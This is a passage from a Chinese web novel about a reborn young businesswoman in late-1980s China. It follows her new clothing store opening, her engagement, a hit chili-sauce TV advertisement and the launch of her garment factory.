繁华的商业大街上，气派敞亮的二层小楼格外醒目，大大的“红珊服装店”招牌优雅响亮，时尚前卫的玻璃橱窗里，一个个时髦摩登的模特展示着不同的衣服，场景不同，穿着不同，那画面、那质感，无一不让路过的行人驻足观看。 开业当天照旧锣鼓喧天、鞭炮齐鸣，贺正岩这次送了比上次还多的花篮，林珊在京市认识的人基本都来捧场了。就连卢二叔也来了。 亲朋好友，外加提前就知道新店要盛大开幕的老顾客们，一时间整条街的热闹都集中在了红珊服装店。 姜春荣来得比较晚，她今天事儿多，紧赶慢赶总算在傍晚的时候赶来了。看着这气派的铺子，络绎不绝的客人，她内心升起一种莫名的骄傲。 这么厉害的姑娘，在跟他儿子处对象！ 姜春荣对着是林珊夸了又夸，还拍着她的背心疼道：“眼瞅着就瘦了，这段时间累了吧。” 林珊笑着说：“累并快乐着。” 姜春荣乐了，感觉这孩子简直说中了她的心声，她做研究就跟孩子做生意似的，累，但是非常快乐。 魏雪琴帮着新招的店长田雯招呼着客人，闫青则帮着售货员们收银和打包。两人忙忙碌碌，有条不紊，干得非常不错，完全替代了林珊之前的职能。 所以林珊才有功夫招待着亲朋好友们，带他们到处逛逛，聊聊天。 姜春荣逛了一圈后，被林珊安排在休闲区喝茶。她本 来不想继续打扰的，可这孩子坚持要送她回去。 于是，没多久之后，林珊交代了一下员工们注意事项，就带着姜春荣回海甸区了。两人肚子都很饿，天气热也吃不下别的，就到包子铺让师傅做了两晚凉面吃了吃。 林珊把姜春荣送到单位，回去的时候忍不住想着要是贺正岩也在就好了，结果车子刚开进院子，她就看见一个熟悉的身影。 “你不是说没空吗？”林珊看看左右都没人，惊喜地一把抱住他。 贺正岩开心地亲了她额头一口，小声道：“上去再说。” 上了楼，门一关，自然是一番搂搂抱抱亲亲小嘴。 半晌，贺正岩才顾得上把屋里的吊扇打开，“热了吧？” 林珊点点头，害羞地笑了笑。 贺正岩摸摸她的小脸，忍不住又把人搂进怀里。奔波了六百多公里，就是为了这一刻。其实他一回到京市，就直接赶去服装店了，结果店员说林珊刚走，他二话不说立刻上路去追，谁知道这丫头开得还挺快，半点儿人影都没看见。 没办法，他就只好先回来等人了。 “一切都顺利吧？”他低声问。 “嗯，客人很多。员工们非常厉害，已经不用我亲自去做什么了。”林珊窝在他怀里，温温柔柔地跟他说话。 贺正岩对这种模样的林珊完全没有抵抗力，抱紧她又亲了好大一会儿，他才说：“感觉你最近对我有点儿不一样了。” “哪不一样？” “更温柔了。” 林珊笑了，“以后会更温柔的，好不好？” 贺正岩没说好不好，盯着她看了很久，突然托住她的脸猛亲起来。 “姗姗……”半晌，他低声开口。 “嗯？” “你毕业之后咱们就结婚吧。” 林珊抬起头，看着他一脸的深情和认真，根本说不出任何拒绝的话，内心也一点都不想拒绝，“好，毕业就结婚。” 贺正岩激动地把她重新抱回怀里，不停地抚摸她的头发，亲着她的发顶，“一辈子对你好，不让你难过，说到做到。” 林珊紧紧回抱着他，轻轻地“嗯”了一声。 第144章 第144章 广告播出 林珊从来没有幻想过什么“求婚”和“结婚”的场景。在没跟贺正岩在一起之前, 她甚至都觉得这辈子可能会跟上一世一样，终身不结婚。 像现在这样平平淡淡，处到一定程度的时候自然而然地说出来, 对她来说就是最好的求婚。 “你吃饭没有？”她轻声问他。 贺正岩还真没吃，一下午只顾着赶路了。 “想吃什么？我给你做。” 贺正岩摇头, 指着她前两个月新买的冰箱说：“里头有包子吧，我热两个吃就行。” 林珊看着他起身开始热包子, 也跑去厨房做了碗紫菜蛋花汤，放上香菜和小虾米, 点一些香油, 配包子喝再合适不过了。 “我想好了，等你毕业之前, 我就把部队分的单元房收拾出来, 科研所这边也找时间再装修一下, 这样到时候你想住哪儿就住哪儿。”贺正岩边飞速吃着饭，边畅想着美好未来。 林珊笑着点点头, 叮嘱他慢点儿吃, 对于以后住哪里她是不挑的。 “四合院也快修好了, 到时候不管来多少客人，都有地方住。”贺正岩越说，越恨不得现在就能结婚。他详细说了一下四合院的具体进展后，把最后一口汤灌进肚子里，心满意足地看着林珊。 林珊掏出手帕替他擦汗, “好了, 看够了可以让我收拾桌子了吗？” 贺正岩摇头，自己拿起桌上的碗筷去厨房洗了洗。他洗完了碗，顺便又洗了把脸, 清清爽爽地回到客厅，发现林珊已经开始看账本了。 贺正岩看了眼表，时间已经不算早了，可他这会儿一点也不想走，就这么看着她忙，心里也美滋滋的。 林珊放下账本，扭头看着他笑，“有这么好看吗？” “有。”贺正岩伸手把人捞进怀里，就这么静静地抱着待着。 林珊知道他是舍不得回去，毕竟大老远的赶回来就为了见她，“你什么时候回去？” “明天早上。”贺正岩叹气。 林珊也跟着他叹，伸手摸摸他的脸，心疼道：“真辛苦。” “不辛苦，就是见不到面儿挺难受的。”如果早几年，有人跟贺正岩说，你将来会因为一个姑娘特地向部队请假，连赶六百多公里就为了见她一面，他会觉得那人抽风了。 可这会儿他不仅的的确确这么干了，还赖在温柔乡里不想回家。 林珊看出他的心思来了，小声问：“那要不……你今天晚上睡旁边那屋？” 贺正岩精神一振，“行吗？” 林珊：“那你回去好了。” 贺正岩立刻收紧胳膊，亲了她一下，“我重新想了想，你都是我未婚妻了，我应该有资格睡旁边那屋了。” 林珊笑着嗔他一眼。 贺正岩乐得合不拢嘴，一把抱起林珊，把她举得老高。 美美留宿一晚的贺正岩，第二天享受了一顿林珊做的馄饨当早餐后，重新踏上了回河西省的路。临行前，他拐去看望了一下姜春荣。 新店开张前一个月都处于比较混乱的时期，林珊送走贺正岩后，就去服装店待着了。随时发现问题解决问题，然后教给员工以后遇到类似的事情照章办事就行。 服装店的生意特别好，因为地方大，所以限流没有西城店那么严重。但是遇到周末的话，还是要排队才能入场。 托影后胡敏和大歌星姚雪的福，现在文艺界很多明星的衣服，都是在“红珊”买的。10月底服装厂建好之后，创立品牌的事情就要正式开始启动了。 虽然阿英学习服装设计和裁缝，已经有一段时间了，但要达到专业的水准还需要一段距离，不过好在这年头也没有几个真正专业的人，还是有时间慢慢来的。 林珊不是不知道在时尚领域里，我国一直处于比较弱势的地位。一直到电商爆发之前，很多以前还不错的品牌，在经过国外品牌入驻洗礼之后，基本都倒得倒，散得散，就算能活下去的，也基本都奄奄一息了。 每个行业的发展，都离不开“势”。在三、四十年学习国外先进思想和技术的影响下，崇洋媚外的心里已经深入一些人的骨髓。最严重的时候买的东西上面只要带汉字，就会显得很不高级。 但随着自身实力的不断发展，人们见识到更多的世面之后，发现“原来你还没我好”的时候，当年备受追捧的“公知”反而成了网上人人喊打的过街老鼠。 新生代的孩子们，已经没有那种“外国的月亮就是更圆”的思想了。各大国产品牌也凭借自身的实力，纷纷迎来了自己的春天。 林珊不确定她要创立的服装品牌，能不能挺过那个被国外碾压的岁月。但她坚信只要一直保持竞争力，就必定能跟他们争一争市场。 当然，这些都是她作为一个在后世生活过的人的提前忧虑。就目前八十年代末这个工业水平，还是必须要大力开放，学习先进技术的。只不过任何东西都有利弊，不可能只享受红利，不接受影响。 林珊跟阿英和陈广志在电话里，把服装厂的管理制度都确定好之后，她期待已久的电视剧《末代皇帝》也到了播出时间。 林珊提前通知了亲朋好友和公司主管们，科研所的房子没有电视，她就跑去姜春荣那里看了。 《末代皇帝》虽然有电影版珠玉在前，但是电视剧版本播出的时候，仍然会获得非常大的成功。电视剧版即使在制作上不如电影版精良，却比对方更尊重文化，更注重历史还原。 随着电视荧幕正式进入剧场播放时间，《末代皇帝》的片名一放出来，“林爱国辣椒酱”的广告瞬间强插了进来，跟着林珊看了无数遍的故事，开始播放。 熟悉的故事，熟悉的旋律，短短的三十秒，看得她无比兴奋。一旁的姜春荣比她还要激动，广告一完，她瞬间鼓起掌来，抱住林珊拍拍她的背，“好孩子太棒了！这广告拍真好！看得我都口水都快出来了！” 林珊笑弯了眼，特别开心，大家的努力没有白费，花出去的钱非常值得！ 赵桂花那边是跟杨老太和红梅一块儿看的，看完之后她激动地拿起桌上的辣椒酱，直呼：“我家的！我家的！这都是我闺女做的辣椒酱！我儿子叫林爱国！” 她说着说着，就开始狂哭。一会儿说闺女厉害，有一会儿说儿子可怜，一会儿说自己命苦，一会儿又说自己命好。 红梅作为赵桂花的干姐妹，比她哭得还厉害，只有杨老太一个人比较理智，“行了行了，大喜的事儿别哭，赶紧看电视，不是说待会儿完了还有广告吗？” 两人被她这一提醒，才收敛了一下情绪，继续坐下观看电视。 除了赵桂花哭，她大侄子赵福也在家看红了眼眶。这厂子从一片庄稼地里开始，都是他在亲力亲为。可以说对这里头的一砖一瓦都有感情，看着自家厂子做出的辣椒酱上了电视！还拍得这么好看！他能不激动吗？！ 本来他还压抑着点儿情绪，结果一看媳妇儿王芳哭得跟个泪人似的，索性也就没再憋着了。 两口子一把鼻涕一把泪地感慨着从刚开始在村里吃不饱饭，到现在吃穿不愁，还办了城里户口、买了房，孩子也都在好学校上了学，自己跟媳妇儿还都在公司管事儿，明年还能有入股的分成！这要不是因为珊妹子，他们能有今天吗！以后必须更加好好干！ 俩人说完，还不忘教育孩子，让他们以后一定要好好读书，多向姑姑学习！ “好！向姑姑学习！”俩孩子兴奋地敬了个少先队礼，自豪得不能行。 郭有财一家远在深城，也看见那广告了。 “拍得真好！”郭广盛真心实意地夸奖，没想到一个辣椒酱还能给弄成特别高级的感觉，他瞬间觉得饭桌上这瓶辣椒酱，看着就不一样了。 郭有财笑道：“这就是广告的厉害啊。只放一个小片子，就能让人觉得这东西不同。儿子啊，咱还是懂得太少了。” “是啊。怪不得您以前总让我们好好读书，我是晚了，以后就看我儿子闺女了。你们几个听好了，谁不好好学习，我就把谁扔工地搬砖去！” “哦。”郭广盛的几个孩子蔫蔫地点点头。 贺正岩没赶上播出前的那一遍广告，只能在忙完后跑去河西军区领导的屋里，看电视剧结束时候的辣椒酱广告。 领导还纳闷这是干啥呢，一听他说是未婚妻家的广告，顿时来了兴趣，不但他自己要看，还把旁边的政委和其他干部也一块儿都叫了过来。 于是所有人就这么生生守到了片尾，“林爱国辣椒酱”的广告一出来，所有人就跟后世看自家亲戚参加奥运似的，全神贯注，还略带点儿紧张。 “诶！这不是你送——” “嘘！” “看完再说！” 30秒的广告转瞬即逝，一个爱开玩笑的营长拿起领导桌上的辣椒酱，学着广告词儿：“天下好食材，融进一罐酱！林爱国辣椒酱，舌尖中国香！” 众人被他给逗乐了，领导拍着贺正岩的肩膀，“小贺同志幸福啊，不但肉包子不愁，还有吃不完的肉酱！这电视拍得真好看，看这架势林爱国辣椒酱是个老字号啊，林爱国是你对象她爸？” 贺正岩解释了一下这其中的来龙去脉，听得大家伙一阵感慨，领导还发话了，“既然爱国是咱自己的同志，以后凡是吃辣椒酱，咱一定买‘林爱国’的！” “是！买‘林爱国’的！” 第145章 第145章 服装厂建成 广告播出的第二天, 食品厂就接到了大量要求补货的订单。第三天，一些粮店开始打电话来进货。第四天，供销社也开始下单。第五天, 有些省的百货公司也开始订货了。 食品厂每天都忙得团团转，机器都快干冒烟了。林珊提前三个月让备的那些货, 一个多礼拜就全发出去了。要不是增加了三套机器，多了三条生产线, 真得是供应不上这么大的需求量。 赵桂花笑眯眯地翻看着账本，已经完全不心疼林珊花出去的广告钱了, 对着她夸个没完。 销售的爆发期正好跟林珊开学时间撞在了一起, 她特地请了两天假，回安河抓一抓生产。由于之前的准备工作很充分, 大家也都有心理准备, 所以面对订单暴涨, 厂子并没有造成什么混乱，一切都在忙碌而有序的进行中。 就是临时出现个什么小问题, 赵福也能立刻解决。 林红本来准备这一阵儿搬家的, 都因此延后了, 虽然不用她具体干什么，但是生意多，管钱跑银行办业务也忙得不可开交。 林珊之前就让李春刚招了些财会专业的人，财务团队即使已经壮大了不少，可面对突如其来的爆单, 仍然是很忙碌的。 因为辣椒酱的爆单, 连带的包子铺和熟肉铺的生意，也比以前好上很多。 张学强搞定那个抄袭的店之后，正准备出省大展拳脚, 很多外省的加盟商就自己找上门了。不过按照公司的标准，不合适的那些，就是给钱也不能给予授权。 安河这边一派欣欣向荣的景象，林珊感谢了大家一番之后，就赶回学校去了。 这电视广告播出的效果，远大于她的预料，比春晚姚雪那一首歌给服装店带来的影响，比沈丹那个系列的全国报带来的影响都大得多。 一天一集的热门电视连续剧，一连播放二十天，每天开头和结束各三十秒，影响力真不是开玩笑的。林珊的目标群体，完完全全被覆盖到了。 就连在学校里，她也看见有同学买她家的辣椒酱吃。中关村的包子铺就更不用说了，如果之前是火爆，现在就是天天爆满，排队都吃不上。 这广告投得实在太值了，短短一个月的时间，就让“林爱国辣椒酱”成了全国知名的酱料品牌。 虽然热度过后，销售一定会回落一些，但品牌算是打出去了。接下来就是继续定向投放广告，以及全国铺货，等市占率上来之后，就要研发新品了。新品她已经想好了，下饭菜、饭扫光一类的榨菜、咸菜。 由于近期生意的格外红火，很多报纸逐渐开始报道林珊家的生意了。虽然也在免费替她打广告，但是这无形中也增加了她的风险。 毕竟人怕出名猪怕壮。 贺正岩不放心她一个人来回跑，让她务必找个人充当司机和保镖，如果她没有合适的人选，他就介绍一个。林珊哪有什么合适人啊，所以这事儿就委托他了。 贺正岩介绍的人叫杨国福，四十六岁，退役后在公安局工作，后来因为受伤，加上面部留下一道极其凶残的疤痕，就退出了一线工作。 杨国福不想调岗跟那些档案和文件打交道，所以就退了。正准备再找点儿事儿干的时候，贺正岩一个电话打了过来，他想了下决定试试。 林珊倒不怕他脸上的疤，反而觉得杨叔单看面相的话，非常和蔼。圆脸，有点儿肉，慈眉善目的，要不是听贺正岩讲过他的英勇事迹，真看不出这人的出身。而且因为后世那个著名的麻辣烫品牌，让林珊总觉得杨叔格外亲切。虽然他并不爱说话。 但不管咋说，多了一位保镖兼司机，林珊的安全提高了很多。 中关村的包子铺由于受到辣椒酱广告的影响，最近已经出现严重的超负荷现象。林珊就想着要不要开放公司对于京市区域的加盟权限，本来她的打算是，只要有直营店的城市，就不会有加盟店，但现在她明显没有精力去再开直营店，而且不停地开直营店也不符合她对食品公司的发展定位。 所以想来想去还是开放权限比较好。 加盟生意格外红火，这下不仅是食品厂的人力要跟上，加盟小团队的人才招聘也必须提上日程了。李春刚最近要多多辛苦了。 《末代皇帝》播完半个月后，辣椒酱的销售额到达了峰值。林珊为了乘胜追击，又在午间新闻时段投放了一个月的广告。密集的广告投放，为的就是加深老百姓的印象，让他们一想起辣椒酱，脑子里的第一反应就是“林爱国”。 十月底的时候，粤城的服装厂完成了一切准备工作，林珊要过去参加开业仪式。 这次她跟学校请了两个礼拜的假期，忙完粤城的事还能再去趟深城看一下工地进展的情况。本来临行前还能跟贺正岩见个面，可他在东城服装店开业的时候用了一天 假，最近又忙着演习，实在抽不出时间了。 这次粤城之行，林珊把闫青和杨国福带上了，京市的一切就临时交给魏雪琴和闫强监管。安河那边大家都因为辣椒酱爆单而在忙碌，所以这次就不带李国超了。 闫青是第一次去这么远的地方，之前最多只去过汉北省，她兴奋得就跟很多第一次出远门的人一样，半宿都没睡好，顶着俩熊猫眼，精神头还特别好。杨国福说他在粤省当过兵，不过只在回家的时候去省城粤城坐过车，从来没闲逛过。 林珊把这次的行程大致跟两人说了一下，闫青一下眼睛就睁大了，没想到还能去深城！！！听说那边儿卖稀罕东西的可多了，真后悔没多带点儿钱。 三人抵达粤城后，照旧是阿英带人来接的。由于跟雷家生意上的交集越来越深，他们说什么也不让林珊再住招待所了，每次都特别热情地招待她。 林珊也就不好再推辞了，送上从京市带来的礼。说是礼，其实就是自家的酱料和雷家爱吃的哪些北方地区的特产。 坐了四十多个小时的火车，在雷家好好睡了一晚后，第二天一早，一行人前往服装厂参加开业仪式。 重建之后的服装厂焕然一新，看着气派多了，原先那一大片因为成本不够而被陈广志闲置的地方，也都盖成了厂房。服装厂的开业阵仗，搞得虽然没有安河的食品厂大，但村里的领导也来了，不仅村民纷纷围观，周围其他厂的人也围过来看热闹。 粤城这边开业除了鞭炮锣鼓，还时兴舞龙舞狮，林珊也是头一次在这个年代看到这个，闫青偷偷凑过来跟她说：“那些港城电影里也有这个！跳得可高了！” 林珊笑着点点头，非常捧场地为表演人员鼓掌喝彩。 舞狮队表演结束后，村支书讲话，陈广志跟阿英也分别讲了两句鼓励大家的话，林珊之前跟他俩对流程的时候，就说好了她不上台讲话，都想低调一点儿。 服装厂的员工目前有二十几个人，大部分都是非常有经验的制衣工人。他们很多都是从其他厂跳槽过来的，尽管工资并没有比其他厂给的多，他们还是愿意过来这儿干活，可见陈广志在这一片儿的声望。 林珊这次过来粤城，除了要参加开业，更重要的是确定好公司第一批大货做什么。除了给自家的包装袋绣上品牌和logo外，第一批走量的基础款服装要做什么。 之前三人在电话里没顾上对这个进行过多的讨论，只初步有个共识做衬衫和单裤是最合适的。毕竟衬衫和单裤一年四季都能卖，而且是这年头每个人都必备的单品。 要是在夏季，还能做一部分T恤衫，但这眼瞅着要上冬装了，衬衫和裤子最保险。 虽然衬衫比T恤考验技术，但是厂子现在的工艺又不是达不到，特地买的进口机器，从港城请来的老师可不是白花钱的。 阿英之前自己画了几款简单的衬衫样式，还把店里目前售卖的几款特别好卖的衬衫都拿出来进行了对比。 林珊非常满意她画的这些草图，款式简约，不失优雅别致，既能展现身形线条的同时，又不会过于修身，符合时下人对美的追求，细看又有很多细节。 领子和袖口设计的最为出彩。 林珊毫不吝啬自己的赞美之词，听得阿英都不好意思了。她本来想让林珊看看有没有什么要改的地方，大家好选出一个最好的出来，结果她都喜欢，还一个劲儿地夸她。 不但林珊夸，陈广志跟闫青也觉得这些衬衫画得好。 至于裤子，阿英画出来得草图就更多了，有款有窄，有长又短，还有时下仍然很流行的喇叭裤。 基础款的裤子比衬衫还好做，林珊就每一种都选了一宽，打算让厂里先把样衣做出来看看。 款式初步定好之后，他们又跟师傅们商量了一下布料和用色，这年头布料根本没多到眼花缭乱的地步，就那几种材质跟颜色，还是很容易选择的。 林珊没用多大会儿就确定了材质和配色，跟着要选扣子和拉链，由于服装店的定位是高端路线，所以细节处也不可以马虎，一律都选用最匹配风格的上等材料。 一行人筹划了将近两天时间，才把最终方案都定下来交给工人师傅。 即使是做样衣，剪裁打板缝制也需要一些时间，更何况一下就定了四件衬衫和五条裤子。 林珊也没在粤城干等，趁这个空挡，带着工作人员跟郭峰跑了趟深城。 第146章 第146章 效率极高 郭峰的小货车正好能把他们仨全给带上, 两个小时的车程，自从他知道杨国福以前是干什么的之后，一直缠着人家讲之前碰到过的歹徒。 杨国福实在是怕了他, 特地挑了两个非常凶残粤省凶杀案说了，听得郭峰后背发凉, 一直安静到深城才缓过来。 林珊跟闫青虽然也觉得恐怖，但都没郭峰那么夸张。 郭广盛热情地接待了林珊一行人, 安排他们住进自家的小旅馆，还关心侄子为什么脸色不好。 郭峰摇摇头, “这世道太可怕了, 咱可得小心点儿啊。” 他说完急忙上厕所去了，留下郭广盛一头雾水。 自从开始干房地产之后, 郭有财就一直在深城忙碌。他老伴儿前一阵也过来了, 跟林珊聊天的时候还说今年过年就不回去了。工期紧, 任务重，每天要操心的事很多, 郭有财不亲自坐镇不放心, 估计等第一期建起来之后, 他才能真正地喘口气儿。 郭广盛带着林珊去工地看了一下，大片荒地的中间，只有他们这儿是一副忙碌的景象。 郭广盛有点儿发愁：“盖得非常顺利，就是越盖我心里越打鼓，这附近可有点儿荒啊, 咱这房子真能有人买吗？” 林珊虽然没干过房地产, 却熟知那些大佬的发家史，鼓励道：“您放心吧，只要盖好, 就一定有人买，跟咱一样有眼光的人还是很多的。您要实在觉得周围荒，咱就花点儿钱把这儿都稍微整整。” 郭广盛飞速算了一下价格，摇头道：“还是算了，盖好咱自己的就行了。” 林珊继续给他吃定心丸，“叔，咱卖的是未来。等售楼处盖好后，沙盘往桌上一放，深城的规划图往墙上一挂，再加上咱独一无二的物业体系，绝对能吸引很多有眼光的买家。趁现在买还是这个价钱，等以后周围全盖好了，可就不是这个数咯。” 郭广盛点点头，笑道：“你这么一说，我心里立刻就敞亮多了，待会儿咱去公司看看，再讨论一下怎么卖最合适。另外物业公司也注册好了，你说的那些章程，都写的差不多了，你再把把关。” “好。”林珊参观了一遍工地后，跟着郭广盛去了公司。 其实营销方案之前大家讨论的时候，就已经商讨出个大概了，现在只需要落实一些细节就可以。林珊发现郭广盛招的这些人，都挺有水平的。写出来的东西清晰明确，文字功底极好，只除了有些地方的规范性不如后世。 她纠正了一些细节之后，跟大家商量广告的事儿，“目前房地产相关的广告，是没办法打到中央台的，毕竟全国还没有开放土地拍卖。咱们只集中在粤城和深城的电视台就行，这两个地方最大的报纸是一定要上的。头版头条那种，不管不少钱，用多少关系。” 郭广盛点点头，把全国广告那条给划掉了。他也是看见林珊的辣椒酱广告弄得这么厉害，效果好到 全国人民都知道了“林爱国”，这才想说给自家房子也弄个广告。忘了深城是特区，全国其他地方还不允许呢。 “电视台和报社都没问题，但是这广告具体该怎么弄，还得你多发挥一下聪明才智了。我们这些老古董，脑子都不太灵。” 林珊可不敢当，一点儿没觉大家老古董，从公司建立夸到工地施工，再到这么大项目的管理，运作成现在这个模样，真的不是一般人能做到的。 她从上夸到下，把所有人都夸得浑身舒畅，心情愉悦。大家愣是出去买了下午茶，非要请林珊跟他们一块儿吃。 推辞不过，林珊就一边吃一边跟大家商讨广告的主题。 其实这个内容很容易做，就是公司产品最核心的卖点，把自家想要兜售的生活方式展现在广告片里就行。不过具体制作方面还是要花些功夫的，毕竟房子要装修好的那种，小区环境要很优雅的，再加上极致的物业服务要怎么展示出来，难度还是不小的。 几人商讨出的方案，之后还要询问一下郭有财和雷生金，大家一致同意之后，才好进行下一步。 郭广盛干事儿雷厉风行，当即就一个电话过去跟雷生金说了一下，还把他老爹也叫来了公司。 郭有财和雷生金都非常欣赏这个策划方案，还颇有些遗憾这个东西不能全国播放。 林珊笑道：“再等等吧。”等十二月一到，全国开始允许土地竞拍之后，相关的政策就会跟着松动。不过可能到能全国投放的时候，他们的房子也早已经被抢空了。 目前离竣工还有七个月的时间，等下个月售楼中心建好、装修好之后，营销方案就要正式启动了。算起来广告制作的时间也挺紧张的。 所以林珊谈好事情之后，没再深城多耽搁就回了粤城，跟他一块儿来的还有郭广盛。 林珊准备先找刘灿荣聊一下，看看他能不能做，如果可以，那这个广告还是由他的公司做，如果难度太大，那就找外商试试。 刘灿荣一听林珊和郭广盛的要求，立刻表示必须做到！就是重新搭建场景，他也要把这个广告给做起来！要知道因为“林爱国辣椒酱”他公司多了多少生意，前两天协会还说这个广告片入围了今年的最佳广告片的评选！这是多大的荣誉啊！ 刘灿荣说什么都要把林珊这个广告给弄好！ 价格方面，自然照旧给的是熟人价。 郭广盛穿衣打扮非常“港”，做起事儿来却很有江湖气，不多会儿就跟刘灿荣混成了“哥俩好”，彼此搭着肩膀记了电话和传呼号。刘灿荣还非要做东请他新认的老哥吃饭，林珊也因此蹭了一顿。 服装厂那边的样衣已经做好了，林珊吃罢饭没多耽误就跟阿英去办正事了。 四件衬衫五条裤子，全部做好穿在模特架子上，林珊挨个儿检查了一遍，发现自家厂子的做工，不但半点不输那些港货，衬衫的剪裁甚至更胜一筹。 她惊喜地看向阿英和陈广志，“厉害啊！这做工完全没问题！” 阿英笑道：“返工了三次呢，第一遍我一看就觉得粗糙，第二遍是扣子那边有问题，第三遍才有点模样了。” 林珊拍拍她的肩膀，“辛苦了，我们的雷大设计师！” 阿英很高兴，又有点儿不好意思，看着自己设计的衣服就这么套在模特架身上，她心里别提多自豪了，尤其林珊还这么喜欢。 林珊确实很喜欢这一批服装，试了一件廓形白衬衫和一条高腰直筒牛仔裤，配在一块儿一时间还真分不清今夕何夕。这一套不但样式好看，穿上也舒服。 “每件样衣先各做两百单，随后再根据情况追加。包装袋做好了吗？” “做好了！”陈广志立刻把各个型号的包装袋给拿了过来，“你看看这刺绣！”他想起之前林珊过来给他送生意的时候，自家那小破厂子当时做出来的东西，陈广志真是汗颜啊。 浅紫色的包装袋上面，用深了一个号的线绣着品牌logo，做工很精细，又不费多少时间，完完全全就是林珊想要的效果。 林珊很满意工厂现在的水平，感谢了一下工人师傅之后，跟阿英和陈广志去办公室说话了。 虽然林珊当初办厂，主要是为了自家品牌服务的，但是既然厂子盖起来了，现阶段除了承接自己的订单，自然也要敞开大门做别人的生意。 所以关于定价和一些合同的制定，就必须商讨清楚。陈广志之前就因为别人跑单吃了大亏，这回他是说什么也不会再犯这种错误了。 另外除了红珊这一个品牌之外，林珊还希望阿英再注册一个服装品牌，这样以后她设计的衣服，都可以署名，再配上她自己设计的logo。 阿英兴奋得不行，她完全没想到林珊会让她再办个牌子！回去的路上一直缠着对方讨论细节。 林珊笑道：“你是设计师，当然要做有自己的品牌了。” 京市和安河的“红珊服装公司”，是林珊娘仨的。虽然她跟阿英在粤城注册了一个贸易公司方便走账，但是并不挨靠红珊公司，严格意义来说两者只是供货关系，即使里头绝大部分都是林珊出的钱。 等到了“珊英服装厂”这里，则是林珊跟阿英□□合资盖起来的，她出的钱虽然多一些，但阿英出的力更多。 没有一个梦想当服装设计师的人，不想拥有自己的品牌。目前署名“红珊”的话，当然没有问题，这时候的人还没有品牌意识，但是随着时代的发展，没有谁不想做自己的品牌的，对阿英来说，这可能不关乎钱，更关乎梦想和价值。 林珊不喜欢仗着先机把生意都揽过来，把被人的路给走绝，占尽他人的便宜，尤其是对她有过帮助的人，更是下不去那种手。 与其发展到后来，闹得非常不愉快，不如事先就坦坦荡荡的把选项摆出来，给对方也给自己一个选择的机会。 阿英听完林珊的解释之后，明白了她的苦心，认真想了一会儿后，说：“姐，我是想做自己的品牌，但是现在还不是时候，我先在厂里学学，你说做什么款，我就慢慢学着做，等以后我有了更多自己的想法之后，再挂上我自己的名字，你看这样行吗？” 林珊笑了，“当然行啊，按照你的时间来就可以。我这么提，就是为了给你提供一个发展思路。你不要有负担，以后有什么想法直接告诉我就好。” “好的！”阿英开心地搂住林珊的胳膊，笑得像个孩子。 第147章 第147章 迅速扩张 林珊的这趟粤省之行, 又是收获满满。这次回去的时候，她自己在安河下了车，让闫青跟杨国福先回京了。 林红这两天要搬家, 林珊想给她暖暖房，顺便再处理一些公司的事儿。 王军跟林红的新家离市公安局只有不到五百米的距离。王军每天走路上下班就行, 林红上班虽然有些距离，但安河本来就不大, 所以骑车十分钟也能到了。 而且等年底公司搬到新地方之后，她可就舒服了, 走路上班都行。 两室改成三室之后, 屋里的格局更合理了，来给王军和林红暖房的亲朋好友很多, 也没有特别拥挤。这年头暖房实行送实用的东西, 有送脸盆的, 有送碗碟的，还有送大铁锅的。 林珊送的是她从深城买回来的电饭锅和彩电。王军家原先是有电视的, 不过前两年买的是黑白的, 后来时兴了彩色的之后, 黑白的又没坏，他们也就没换。 暖房当天主人要在家里摆上几桌，亲近的人吃吃喝喝，一直闹到快天黑才算完成流程。 林珊吃了饭，又跟大家寒暄了一阵儿后, 就去卧室陪小外甥玩儿了。昊昊才九个多月, 已经长成了林珊的梦中情娃，白白胖胖肉肉呼呼，一逗就笑, 别提多招人喜欢了。 他现在这个阶段早已经不满足吃奶了，小米糊糊，软乎的面条，蛋羹都能吃，喂他什么吃什么，吃得那叫一个香啊。 赵桂花看得直感慨，她就没见过这么能吃的娃。王大娘 呵呵笑，美滋滋地抱着小孙子，怎么看怎么稀罕。 暖房回去的路上，赵桂花突然意识到个事儿，“你跟小贺结婚之后，是不是就得一直在京市待着了啊。那等于我闺女远嫁了啊！” 林珊笑道：“不会跟现在有什么太大区别的。” 赵桂花看她这么笃定，心里稍微舒服一些，不过这珊丫头要是再一出嫁，家里可就真只有她一个人了。 林珊大概知道她心里怎么想，安慰道：“放心吧妈，我就算结婚，家里也一定有你的房间，你想什么时候来就什么时候来。要不是我姐在安河，我真想把你带去京市。” 赵桂花笑了，“哪有嫁人还带着老娘的。” 林珊之前还想把林红也带去京市，但是现在看到他们一家人这么幸福，新房子也收拾得非常温馨，渐渐明白很多事是不能强求的。王军最近又刚升了队长，他们不用背井离乡就能在安河生活得很好，自然没有多大的欲望要去外头了。 当然了，这想法以后随着时代的发展可能会变。但目前这个阶段，她只要管好她自己就行了。 公司的新址到了收尾的阶段，林珊次日去视察了一圈。一切都进展得很不错，王来顺正在安装吊扇和暖气这些硬件设备。 钱伟还开玩笑地说他夜里不回家了，感觉睡公司更舒服。 等这边竣工之后，林珊还让王来顺给她家的小院儿也装上一套暖气炉。这样冬天各个屋就暖和多了，还能去掉原来的煤球炉和烟囱，等都弄好之后重新换上一套玻璃，保准冬天过得舒舒服服。 除了这些小事情，林珊这次在安河停留的最主要的原因，是规划服装公司下一步的发展。 目前红珊服装公司，在安河和京市都有注册，由于这个年头区域间没有联通，所以还没办法在法律上并到一块儿去。要等以后条件成熟才能整合。 安河这边服装店的原店长杨艳，和店内最优秀的售货员郭娇，都被提拔到了公司，等钱伟忙忘了公司新址的事儿之后，也会加入服装公司，李春刚还按照林珊的要求找好了安河服装公司的会计。 由于现在既有成熟的供货渠道，又有自己的服装厂，为大力攻占全国市场提供了充分的条件，所以下一步就是拿下全国几个主要的大城市。 “红珊”走的是高端路线，所有的店都要是直营店才行，这就需要有一只非常专业的团队去开疆扩土。 林珊询问过杨艳和郭娇，两人都表示能接受出差，林珊这才把她们调到了公司，两名女性出门在外肯定是危险的，所以团队中必须有男性才行，钱伟之前跑过大车，认识的人多，又会来事儿，非常适合干这个。 李春刚又从张学强的加盟小团队中调了个大个儿过来，这样两男两女的配置，可以说安全性和功能性都很足了。 红珊服装公司的第四家直营店，林珊定在了汉北省的省会汉州市。除了同一个省离得近，更因为包子铺加盟店积赞了很多关系和人脉，所以安河和京市外的第一家店选在这里，绝对是最佳的。 现在已经进入十一月了，今年二月份过年，林珊准备等钱伟下礼拜一忙完公司盖房子的事儿，就开始已启动汉州的开店计划。 前期筹备需要做的准备工作很多，慢慢开展，积累一下经验很有必要。 